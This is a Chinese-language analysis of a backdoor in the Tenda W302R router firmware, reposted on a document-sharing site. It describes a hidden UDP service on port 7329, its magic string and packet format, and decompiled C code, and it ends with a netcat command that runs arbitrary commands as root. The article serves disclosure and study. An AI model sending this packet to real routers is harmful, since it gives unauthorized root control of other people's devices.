- 1、本文档共7页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
腾达Tenda路由器后门剖析
一直有人认为D-Link是唯一的将在其产品中放置后门供应商,其实这里还有一个供应商也同样在产品中放置了后门,并且可以利用单个UDP数据包就搞定。她——就是腾达。
腾达W302R无线路由器的最新固件解压后,我开始寻找基于GoAheadWeb服务器指向的/bin/httpd,腾达做了很多特殊的修改:
进入HTTP接收回路前,调用产生MfgThread的功能作为一个单独的线程的线程主函数InitMfgTask。
Hmmm…InitMfgTask 和 MfgThread? 也许可能是manufacturing tasks(mfg有可能是MANUFACTURING的缩写,方便他们在研发过程中发生各种不能访问路由器管理功能时留下的维修接口,估计正式产品上市的时候忘记去掉了)
首先MfgThread(Mfg进程)创建UDP socket且绑定在7329端口上
然后线程进入一个recvfrom循环,从插座上阅读最多128字节。预计每一个接收到的UDP数据包,至少有14个字节的长度:
现在最有意思的部分,接收到的UDP数据包,然后解析这个代码块:
转C代码表示
memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesnt match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, w302r_mfg) != 0) goto outer_receive_loop;
我们可以看到,该线程被认为一个以下的数据结构包:
struct command_packet_t { char magic[10]; // 9 byte magic string (w302r_mfg), plus a NULL terminating byte char command_byte; char command_arg[117]; };
只要接收到的数据包开始字符串“w302r_mfg”,代码然后比较三个ASCII字符指定的命令字节对(’1′,’X,’E):
为了方便,我已经转换剩余反汇编(至少重要位)后的C代码:
switch(command_byte) { case e: strcpy(tx_buf, w302r_mfg); tx_size = 9; break; case 1: if(strstr(command_arg, iwpriv) != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, 000000); tx_size = strlen(tx_buf); break; case x: tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;
以下操作对应的三个接受的命令字节:
E-响应与预先定义的字符串,通常是ping测试
1 - 蓄意让用户运行iwpriv命令
X-允许你用root权限运行任何命令
如果被指定为’X的命令字节命令字节后的数据包(称为在上述代码command_arg),其余的被传递到call_shell通过POPEN,执行命令:
更重要的是,call_shell填充tx_buf的命令,我们可以看到,从以前的C代码,发送回客户端的输出缓冲区!
了解了MfgThread和其预期的数据包结构的功能,我们可以很容易用NC来执行这个后门:
$ echo -ne w302r_mfg\x00x/bin/ls | nc -u -q 5 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-
您可能关注的文档
- 联想电脑不破坏1键恢复分区方法.doc
- 联想电脑WindowsXP系统下桌面上恶意图标不能删除处理方案.doc
- 联通[网通]宽带路由器设置.doc
- 联通定制机华为U8661Root的教程.doc
- 联通客户维系挽留服务的流程图.doc
- 联通手机营业厅IOS系统使用的操作手则.doc
- 联通无线路由猫的说明书.doc
- 联通网上营业厅手机密令应用介绍.doc
- 联银通移动支付终端机功能的操作手则.doc
- 聚乙烯管道焊接施工的技术.doc
- 2025年山东畜牧兽医职业学院单招(语文)测试模拟题库完整版.docx
- 2025年山东省菏泽地区单招语文测试模拟题库有答案.docx
- 2025年山东省聊城市单招语文测试模拟题库及完整答案1套.docx
- 2025年山东省临沂市行政职业能力测验模拟试题及答案一套.docx
- 2025年山西工程职业学院单招语文测试模拟题库最新.docx
- 2025年山东省东营市行政职业能力测验题库推荐.docx
- 2025年山东省济南市选调生考试(公共基础知识)综合能力题库完整.docx
- 2025年山东省威海市单招语文测试模拟题库a4版.docx
- 2025年山西卫生健康职业学院单招(语文)测试模拟题库及完整答案一套.docx
- 2025年包头职业技术学院单招职业技能考试题库带答案.docx
最近下载
- 储能电站项目可行性研究报告.docx
- 2024重庆公共运输职业学院招聘7人笔试备考题库及答案解析.docx VIP
- 华为IPD流程管理体系L1-L5最佳实践及落地实施.pptx VIP
- 铁路内燃机车司机高级技师理论题库(含答案).docx VIP
- 2026届高三语文开学第一课.pptx VIP
- 最新:脑卒中后吞咽障碍患者进食护理——2023中华护理学会团体标准课件.pptx VIP
- 2025重庆公共运输职业学院招聘13人笔试备考试题及答案解析.docx VIP
- 动词过去式不规则变化.doc VIP
- “十八项医疗质量安全核心制度”知识竞赛.docx VIP
- 2024重庆公共运输职业学院招聘1人笔试备考试题及答案解析.docx VIP
文档评论(0)